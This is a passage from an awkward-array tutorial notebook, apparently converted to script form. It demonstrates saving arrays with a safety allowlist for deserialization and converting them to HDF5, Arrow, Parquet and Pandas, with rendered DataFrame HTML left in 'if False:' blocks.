or ``numpy.integer``, and is in any awkward-array context (``JaggedArray.starts``, ``MaskedArray.mask``, etc.), then it will be compressed with ``zip.compress`` and decompressed with ``('zlib', 'decompress')``. The compression function is given as an object\u2014the Python function that will be called to transform byte strings into compressed byte strings\u2014but the decompression function is given as a location in Python's namespace: a tuple of nested objects, the first of which is a fully qualified module name (submodules separated by dots). This is because only the *location* of the decompression function needs to be written to the file.\n#\n# The saved awkward array consists of a collection of byte strings for Numpy arrays (2 for object ``a`` and 11 for object ``b``, above) and JSON-formatted metadata that reconstructs the nested hierarchy of awkward classes around those Numpy arrays. This metadata includes information such as which byte strings should be decompressed and how, but also which awkward constructors to call to fit everything together. As such, the JSON metadata is code, a limited language without looping or function definitions (i.e. not Turing complete) but with the ability to call any Python function.\n#\n# Using a mini-language as metadata gives us great capacity for backward and forward compatibility (new or old ways of encoding things are simply calling different functions), but it does raise the danger of malicious array files calling unwanted Python functions. For this reason, ``load`` refuses to call any functions not specified in a ``whitelist``. The default whitelist consists of functions known to be safe:\n\n# %%\nawkward.persist.whitelist\n# [['numpy', 'frombuffer'],\n#  ['zlib', 'decompress'],\n#  ['lzma', 'decompress'],\n#  ['backports.lzma', 'decompress'],\n#  ['lz4.block', 'decompress'],\n#  ['awkward', '*Array'],\n#  ['awkward', 'Table'],\n#  ['awkward', 'numpy', 'frombuffer'],\n#  ['awkward.util', 'frombuffer'],\n#  ['awkward.persist'],\n#  ['awkward.arrow', '_ParquetFile', 'fromjson'],\n#  ['uproot_methods.classes.*'],\n#  ['uproot_methods.profiles.*'],\n#  ['uproot.tree', '_LazyFiles'],\n#  ['uproot.tree', '_LazyTree'],\n#  ['uproot.tree', '_LazyBranch']]\n\n# %%markdown\n# The format of each item in the whitelist is a list of nested objects, the first of which being a fully qualified module name (submodules separated by dots). For instance, in the ``awkward.arrow`` submodule, there is a class named ``_ParquetFile`` and it has a static method ``fromjson`` that is deemed to be safe. Patterns of safe names are can be wildcarded, such as ``['awkward', '*Array']`` and ``['uproot_methods.classes.*']``.\n#\n# You can add your own functions, and forward compatibility (using data made by a new version in an old version of awkward-array) often dictates that you must add a function manually. The error message explains how to do this.\n#\n# The same serialization format is used when you pickle an awkward array or save it in an HDF5 file. More detail on the metadata mini-language is given in `docs/serialization.adoc <https://github.com/scikit-hep/awkward-array/blob/master/docs/serialization.adoc>`__.\n\n# %%markdown\n# * ``hdf5(group, awkwardlib=None, compression=awkward.persist.compression, whitelist=awkward.persist.whitelist, cache=None)``: wrap a ``h5py.Group`` as an awkward-aware group, to save awkward arrays to HDF5 files and to read them back again. The options have the same meaning as ``load`` and ``save``.\n#\n# Unlike \"awkd\" (special ZIP) files, HDF5 files can be written and overwritten like a database, rather than write-once files.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([[1.1, 2.2, None, 3.3, None],\n                      [4.4, [5.5]],\n                      [{\"x\": 6, \"y\": {\"z\": 7}}, None, {\"x\": 8, \"y\": {\"z\": 9}}]\n                     ])\n\n# %%\nimport h5py\nf = h5py.File(\"awkward.hdf5\", \"w\")\nf\n# <HDF5 file \"awkward.hdf5\" (mode r+)>\n\n# %%\ng = awkward.hdf5(f)\ng\n# <awkward.hdf5 '/' (0 members)>\n\n# %%\ng[\"array\"] = a\n\n# %%\ng[\"array\"]\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x781115141320>\n\n# %%\ndel g[\"array\"]\n\n# %%\ng[\"array\"] = b\n\n# %%\ng[\"array\"]\n# <JaggedArray [[1.1 2.2 None 3.3 None] [4.4 [5.5]] [<Row 0> None <Row 1>]] at 0x7811883b9198>\n\n# %%markdown\n# The HDF5 format does not include columnar representations of arbitrary nested data, as awkward-array does, so what we're actually storing are plain Numpy arrays and the metadata necessary to reconstruct the awkward array.\n\n# %%\n# Reopen file, without wrapping it as awkward.hdf5 this time.\nf = h5py.File(\"awkward.hdf5\", \"r\")\nf\n# <HDF5 file \"awkward.hdf5\" (mode r+)>\n\n# %%\nf[\"array\"]\n# <HDF5 group \"/array\" (9 members)>\n\n# %%\nf[\"array\"].keys()\n# <KeysViewHDF5 ['1', '12', '14', '16', '19', '4', '7', '9', 'schema.json']>\n\n# %%markdown\n# The \"schema.json\" array is the JSON metadata, containing directives like ``{\"call\": [\"awkward\", \"JaggedArray\", \"fromcounts\"]}`` and ``{\"read\": \"1\"}`` meaning the array named ``\"1\"``, etc.\n\n# %%\nimport json\njson.loads(f[\"array\"][\"schema.json\"][:].tostring())\n# {'awkward': '0.12.0rc1',\n#  'schema': {'call': ['awkward', 'JaggedArray', 'fromcounts'],\n#   'args': [{'call': ['awkward', 'numpy', 'frombuffer'],\n#     'args': [{'read': '1'}, {'dtype': 'int64'}, {'json': 3, 'id': 2}],\n#     'id': 1},\n#    {'call': ['awkward', 'IndexedMaskedArray'],\n#     'args': [{'call': ['awkward', 'numpy', 'frombuffer'],\n#       'args': [{'read': '4'}, {'dtype': 'int64'}, {'json': 10, 'id': 5}],\n#       'id': 4},\n#      {'call': ['awkward', 'UnionArray', 'fromtags'],\n#       'args': [{'call': ['awkward', 'numpy', 'frombuffer'],\n#         'args': [{'read': '7'}, {'dtype': 'uint8'}, {'json': 7, 'id': 8}],\n#         'id': 7},\n#        {'list': [{'call': ['awkward', 'numpy', 'frombuffer'],\n#           'args': [{'read': '9'}, {'dtype': 'float64'}, {'json': 4, 'id': 10}],\n#           'id': 9},\n#          {'call': ['awkward', 'JaggedArray', 'fromcounts'],\n#           'args': [{'call': ['awkward', 'numpy', 'frombuffer'],\n#             'args': [{'read': '12'},\n#              {'dtype': 'int64'},\n#              {'json': 1, 'id': 13}],\n#             'id': 12},\n#            {'call': ['awkward', 'numpy', 'frombuffer'],\n#             'args': [{'read': '14'}, {'dtype': 'float64'}, {'ref': 13}],\n#             'id': 14}],\n#           'id': 11},\n#          {'call': ['awkward', 'Table', 'frompairs'],\n#           'args': [{'pairs': [['x',\n#               {'call': ['awkward', 'numpy', 'frombuffer'],\n#                'args': [{'read': '16'},\n#                 {'dtype': 'int64'},\n#                 {'json': 2, 'id': 17}],\n#                'id': 16}],\n#              ['y',\n#               {'call': ['awkward', 'Table', 'frompairs'],\n#                'args': [{'pairs': [['z',\n#                    {'call': ['awkward', 'numpy', 'frombuffer'],\n#                     'args': [{'read': '19'}, {'dtype': 'int64'}, {'ref': 17}],\n#                     'id': 19}]]},\n#                 {'json': 0}],\n#                'id': 18}]]},\n#            {'json': 0}],\n#           'id': 15}]}],\n#       'id': 6},\n#      {'json': -1}],\n#     'id': 3}],\n#   'id': 0},\n#  'prefix': 'array/'}\n\n# %%markdown\n# Without awkward-array, these objects can't be meaningfully read back from the HDF5 file.\n\n# %%markdown\n# * ``awkward.fromarrow(arrow, awkwardlib=None)``: convert an `Apache Arrow <https://arrow.apache.org>`__ formatted buffer to an awkward array (zero-copy). The ``awkwardlib`` parameter has the same meaning as above.\n#\n# * ``awkward.toarrow(array)``: convert an awkward array to an Apache Arrow buffer, if possible (involving a data copy, but no Python loops).\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([[1.1, 2.2, None, 3.3, None],\n                      [4.4, [5.5]],\n                      [{\"x\": 6, \"y\": {\"z\": 7}}, None, {\"x\": 8, \"y\": {\"z\": 9}}]\n                     ])\n\n# %%\nawkward.toarrow(a)\n# <pyarrow.lib.ListArray object at 0x78110846b1a8>\n# [\n#   [\n#     1.1,\n#     2.2,\n#     3.3\n#   ],\n#   [],\n#   [\n#     4.4,\n#     5.5\n#   ]\n# ]\n\n# %%\nawkward.fromarrow(awkward.toarrow(a))\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78110846d550>\n\n# %%\nawkward.toarrow(b)\n# <pyarrow.lib.ListArray object at 0x78110846b6d0>\n# [\n#   -- is_valid: all not null\n#   -- type_ids:     [\n#       0,\n#       0,\n#       2,\n#       0,\n#       2\n#     ]\n#   -- value_offsets:     [\n#       0,\n#       1,\n#       1,\n#       2,\n#       1\n#     ]\n#   -- child 0 type: double\n#     [\n#       1.1,\n#       2.2,\n#       3.3,\n#       4.4\n#     ]\n#   -- child 1 type: list<item: double>\n#     [\n#       [\n#         5.5\n#       ]\n#     ]\n#   -- child 2 type: struct<x: int64, y: struct<z: int64>>\n#     -- is_valid: all not null\n#     -- child 0 type: int64\n#       [\n#         6,\n#         8\n#       ]\n#     -- child 1 type: struct<z: int64>\n#       -- is_valid: all not null\n#       -- child 0 type: int64\n#         [\n#           7,\n#           9\n#         ],\n#   -- is_valid: all not null\n#   -- type_ids:     [\n#       0,\n#       1\n#     ]\n#   -- value_offsets:     [\n#       3,\n#       0\n#     ]\n#   -- child 0 type: double\n#     [\n#       1.1,\n#       2.2,\n#       3.3,\n#       4.4\n#     ]\n#   -- child 1 type: list<item: double>\n#     [\n#       [\n#         5.5\n#       ]\n#     ]\n#   -- child 2 type: struct<x: int64, y: struct<z: int64>>\n#     -- is_valid: all not null\n#     -- child 0 type: int64\n#       [\n#         6,\n#         8\n#       ]\n#     -- child 1 type: struct<z: int64>\n#       -- is_valid: all not null\n#       -- child 0 type: int64\n#         [\n#           7,\n#           9\n#         ],\n#   -- is_valid: all not null\n#   -- type_ids:     [\n#       2,\n#       2,\n#       2\n#     ]\n#   -- value_offsets:     [\n#       0,\n#       1,\n#       1\n#     ]\n#   -- child 0 type: double\n#     [\n#       1.1,\n#       2.2,\n#       3.3,\n#       4.4\n#     ]\n#   -- child 1 type: list<item: double>\n#     [\n#       [\n#         5.5\n#       ]\n#     ]\n#   -- child 2 type: struct<x: int64, y: struct<z: int64>>\n#     -- is_valid: all not null\n#     -- child 0 type: int64\n#       [\n#         6,\n#         8\n#       ]\n#     -- child 1 type: struct<z: int64>\n#       -- is_valid: all not null\n#       -- child 0 type: int64\n#         [\n#           7,\n#           9\n#         ]\n# ]\n\n# %%\nawkward.fromarrow(awkward.toarrow(b))\n# <JaggedArray [[1.1 2.2 <Row 1> 3.3 <Row 1>] [4.4 [5.5]] [<Row 0> <Row 1> <Row 1>]] at 0x78110846de48>\n\n# %%markdown\n# Unlike HDF5, Arrow is capable of columnar jagged arrays, nullable values, nested structures, etc. If you save an awkward array in Arrow format, someone else can read it without the awkward-array library. There are a few awkward array classes that don't have an Arrow equivalent, though. Below is a list of all translations.\n#\n# * Numpy array \u2192 Arrow `BooleanArray <https://arrow.apache.org/docs/python/generated/pyarrow.BooleanArray.html>`__, `IntegerArray <https://arrow.apache.org/docs/python/generated/pyarrow.IntegerArray.html>`__, or `FloatingPointArray <https://arrow.apache.org/docs/python/generated/pyarrow.FloatingPointArray.html>`__.\n# * ``JaggedArray`` \u2192 Arrow `ListArray <https://arrow.apache.org/docs/python/generated/pyarrow.ListArray.html>`__.\n# * ``StringArray`` \u2192 Arrow `StringArray <https://arrow.apache.org/docs/python/generated/pyarrow.StringArray.html>`__.\n# * ``Table`` \u2192 Arrow `Table <https://arrow.apache.org/docs/python/generated/pyarrow.Table.html>`__ at top-level, but an Arrow `StructArray <https://arrow.apache.org/docs/python/generated/pyarrow.StructArray.html>`__ if nested.\n# * ``MaskedArray`` \u2192 missing data mask (nullability in Arrow is an array attribute, rather than an array wrapper).\n# * ``IndexedMaskedArray`` \u2192 unfolded into a simple mask before the Arrow translation.\n# * ``IndexedArray`` \u2192 Arrow `DictionaryArray <https://arrow.apache.org/docs/python/generated/pyarrow.DictionaryArray.html>`__.\n# * ``SparseArray`` \u2192 converted to a dense array before the Arrow translation.\n# * ``ObjectArray`` \u2192 Pythonic interpretation is discarded before the Arrow translation.\n# * ``UnionArray`` \u2192 Arrow dense `UnionArray <https://arrow.apache.org/docs/python/generated/pyarrow.UnionArray.html>`__ if possible, sparse UnionArray if necessary.\n# * ``ChunkedArray`` (including ``AppendableArray``) \u2192 Arrow `RecordBatches <https://arrow.apache.org/docs/python/generated/pyarrow.RecordBatch.html>`__, but only at top-level: nested ``ChunkedArrays`` cannot be converted.\n# * ``VirtualArray`` \u2192 array gets materialized before the Arrow translation (i.e. the lazy-loading is not preserved).\n\n# %%markdown\n# Since Arrow is an in-memory format, both ``toarrow`` and ``fromarrow`` are side-effect-free functions with a return value. Functions that write to files have a side-effect (the state of your disk changing) and no return value. Once you've made your Arrow buffer, you have to figure out what to do with it. (You may want to `write it to a stream <https://arrow.apache.org/docs/python/ipc.html>`__ for interprocess communication.)\n\n# %%markdown\n# * ``awkward.fromparquet(where, awkwardlib=None)``: reads from a Parquet file (at filename/URI ``where``) into an awkward array, through pyarrow. The ``awkwardlib`` parameter has the same meaning as above.\n#\n# * ``awkward.toparquet(where, array, schema=None)``: writes an awkward array to a Parquet file (at filename/URI ``where``), through pyarrow. The Parquet ``schema`` may be inferred from the awkward array or explicitly specified.\n#\n# Like Arrow and unlike HDF5, Parquet natively stores complex data structures in a columnar format and doesn't need to be wrapped by an interpretation layer like ``awkward.hdf5``. Like HDF5 and unlike Arrow, Parquet is a file format, intended for storage.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([[1.1, 2.2, None, 3.3, None],\n                      [4.4, [5.5]],\n                      [{\"x\": 6, \"y\": {\"z\": 7}}, None, {\"x\": 8, \"y\": {\"z\": 9}}]\n                     ])\n\n# %%\nawkward.toparquet(\"dataset.parquet\", a)\n\n# %%\na2 = awkward.fromparquet(\"dataset.parquet\")\na2\n# <ChunkedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78110846dc50>\n\n# %%markdown\n# Notice that we get a ``ChunkedArray`` back. This is because ``awkward.fromparquet`` is lazy-loading the Parquet file, which might be very large (not in this case, obviously). It's actually a ``ChunkedArray`` (one `row group <https://parquet.apache.org/documentation/latest/#unit-of-parallelization>`__ per chunk) of ``VirtualArrays``, and each ``VirtualArray`` is read when it is accessed (for instance, to print it above).\n\n# %%\na2.chunks\n# [<VirtualArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78110846dc18>]\n\n# %%\na2.chunks[0].array\n# <BitMaskedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78110849aeb8>\n\n# %%markdown\n# The next layer of new structure is that the jagged array is bit-masked. Even though none of the values are nullable, this is an artifact of the way Parquet formats columnar data.\n\n# %%\na2.chunks[0].array.content\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78110849a518>\n\n# %%\na2.layout\n#  layout\n# [           ()] ChunkedArray(chunks=[layout[0]], chunksizes=[3])\n# [            0]   VirtualArray(generator=<awkward.arrow._ParquetFile object at 0x78110846df98>, args=(0, ''), kwargs={}, array=layout[0, 0])\n# [         0, 0]     BitMaskedArray(mask=layout[0, 0, 0], content=layout[0, 0, 1], maskedwhen=False, lsborder=True)\n# [      0, 0, 0]       ndarray(shape=1, dtype=dtype('uint8'))\n# [      0, 0, 1]       JaggedArray(starts=layout[0, 0, 1, 0], stops=layout[0, 0, 1, 1], content=layout[0, 0, 1, 2])\n# [   0, 0, 1, 0]         ndarray(shape=3, dtype=dtype('int32'))\n# [   0, 0, 1, 1]         ndarray(shape=3, dtype=dtype('int32'))\n# [   0, 0, 1, 2]         BitMaskedArray(mask=layout[0, 0, 1, 2, 0], content=layout[0, 0, 1, 2, 1], maskedwhen=False, lsborder=True)\n# [0, 0, 1, 2, 0]           ndarray(shape=1, dtype=dtype('uint8'))\n# [0, 0, 1, 2, 1]           ndarray(shape=5, dtype=dtype('float64'))\n\n# %%markdown\n# Fewer types can be written to Parquet files than Arrow buffers, since pyarrow does not yet have a complete Arrow \u2192 Parquet transformation.\n\n# %%\ntry:\n    awkward.toparquet(\"dataset2.parquet\", b)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'pyarrow.lib.ArrowNotImplementedError'> Unhandled type for Arrow to Parquet schema conversion: union[dense]<0: double=0, 1: list<item: double>=1, 2: struct<x: int64, y: struct<z: int64>>=2>\n\n# %%markdown\n# * ``awkward.topandas(array, flatten=False)``: convert the array into a Pandas DataFrame (if tabular) or a Pandas Series (otherwise). If ``flatten=False``, wrap the awkward arrays as a new Pandas extension type (not fully implemented). If ``flatten=True``, convert the jaggedness and nested tables into row and column ``pandas.MultiIndex`` without introducing any new types (not always possible).\n\n# %%\na = awkward.Table(x=awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]]),\n                  y=awkward.fromiter([100, 200, 300, 400]))\ndf = awkward.topandas(a)\ndf\n\nif False:\n      [<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>x</th>\\n\",\n       \"      <th>y</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>[1.1 2.2 3.3]</td>\\n\",\n       \"      <td>100</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>200</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>[4.4 5.5]</td>\\n\",\n       \"      <td>300</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>[6.6 7.7 8.8 9.9]</td>\\n\",\n       \"      <td>400</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%\ndf.x\n# 0        [1.1 2.2 3.3]\n# 1                   []\n# 2            [4.4 5.5]\n# 3    [6.6 7.7 8.8 9.9]\n# Name: x, dtype: awkward\n\n# %%markdown\n# Note that the ``dtype`` is ``awkward``. The array has not been converted into Numpy ``dtype=object`` (which would imply a performance loss); it has been wrapped as a container that Pandas recognizes. You can get the awkward array back the same way you would a Numpy array:\n\n# %%\ndf.x.values\n# <JaggedSeries [[1.1 2.2 3.3] [] [4.4 5.5] [6.6 7.7 8.8 9.9]] at 0x78110846d400>\n\n# %%markdown\n# (``JaggedSeries`` is a thin wrapper on ``JaggedArray``; they behave the same way.)\n#\n# The value of this is that awkward slice semantics can be applied to data in Pandas.\n\n# %%\ndf[1:]\n\nif False:\n      [<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>x</th>\\n\",\n       \"      <th>y</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>200</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>[4.4 5.5]</td>\\n\",\n       \"      <td>300</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>[6.6 7.7 8.8 9.9]</td>\\n\",\n       \"      <td>400</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%\ndf.x[df.x.values.counts > 0]\n# 0        [1.1 2.2 3.3]\n# 2            [4.4 5.5]\n# 3    [6.6 7.7 8.8 9.9]\n# Name: x, dtype: awkward\n\n# %%markdown\n# However, Pandas has a (limited) way of handling jaggedness and nested tables, with ``pandas.MultiIndex`` rows and columns, respectively.\n\n# %%\n# Nested tables become MultiIndex-valued column names.\narray = awkward.fromiter([{\"a\": {\"b\": 1, \"c\": {\"d\": [2]}}, \"e\": 3},\n                          {\"a\": {\"b\": 4, \"c\": {\"d\": [5, 5.1]}}, \"e\": 6},\n                          {\"a\": {\"b\": 7, \"c\": {\"d\": [8, 8.1, 8.2]}}, \"e\": 9}])\ndf = awkward.topandas(array, flatten=True)\ndf\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th colspan=\\\"2\\\" halign=\\\"left\\\">a</th>\\n\",\n       \"      <th>e</th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>b</th>\\n\",\n       \"      <th>c</th>\\n\",\n       \"      <th></th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>d</th>\\n\",\n       \"      <th></th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2.0</td>\\n\",\n       \"      <td>3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>4</td>\\n\",\n       \"      <td>5.0</td>\\n\",\n       \"      <td>6</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>4</td>\\n\",\n       \"      <td>5.1</td>\\n\",\n       \"      <td>6</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"3\\\" valign=\\\"top\\\">2</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>7</td>\\n\",\n       \"      <td>8.0</td>\\n\",\n       \"      <td>9</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>7</td>\\n\",\n       \"      <td>8.1</td>\\n\",\n       \"      <td>9</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>7</td>\\n\",\n       \"      <td>8.2</td>\\n\",\n       \"      <td>9</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%\n# Jagged arrays become MultiIndex-valued rows (index).\narray = awkward.fromiter([{\"a\": 1, \"b\": [[2.2, 3.3, 4.4], [], [5.5, 6.6]]},\n                          {\"a\": 10, \"b\": [[1.1], [2.2, 3.3], [], [4.4]]},\n                          {\"a\": 100, \"b\": [[], [9.9]]}])\ndf = awkward.topandas(array, flatten=True)\ndf\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>a</th>\\n\",\n       \"      <th>b</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"5\\\" valign=\\\"top\\\">0</th>\\n\",\n       \"      <th rowspan=\\\"3\\\" valign=\\\"top\\\">0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">2</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>5.5</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>6.6</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"4\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>1.1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>100</td>\\n\",\n       \"      <td>9.9</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%markdown\n# The advantage of this is that no new column types are introduced, and Pandas already has functions for managing structure in its ``MultiIndex``. For instance, this structure can be unstacked into Pandas's columns.\n\n# %%\ndf.unstack()\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th colspan=\\\"3\\\" halign=\\\"left\\\">a</th>\\n\",\n       \"      <th colspan=\\\"3\\\" halign=\\\"left\\\">b</th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>5.5</td>\\n\",\n       \"      <td>6.6</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"3\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>1.1</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>100.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>9.9</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%\ndf.unstack().unstack()\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th colspan=\\\"10\\\" halign=\\\"left\\\">a</th>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <th colspan=\\\"10\\\" halign=\\\"left\\\">b</th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th colspan=\\\"4\\\" halign=\\\"left\\\">0</th>\\n\",\n       \"      <th colspan=\\\"4\\\" halign=\\\"left\\\">1</th>\\n\",\n       \"      <th colspan=\\\"2\\\" halign=\\\"left\\\">2</th>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <th 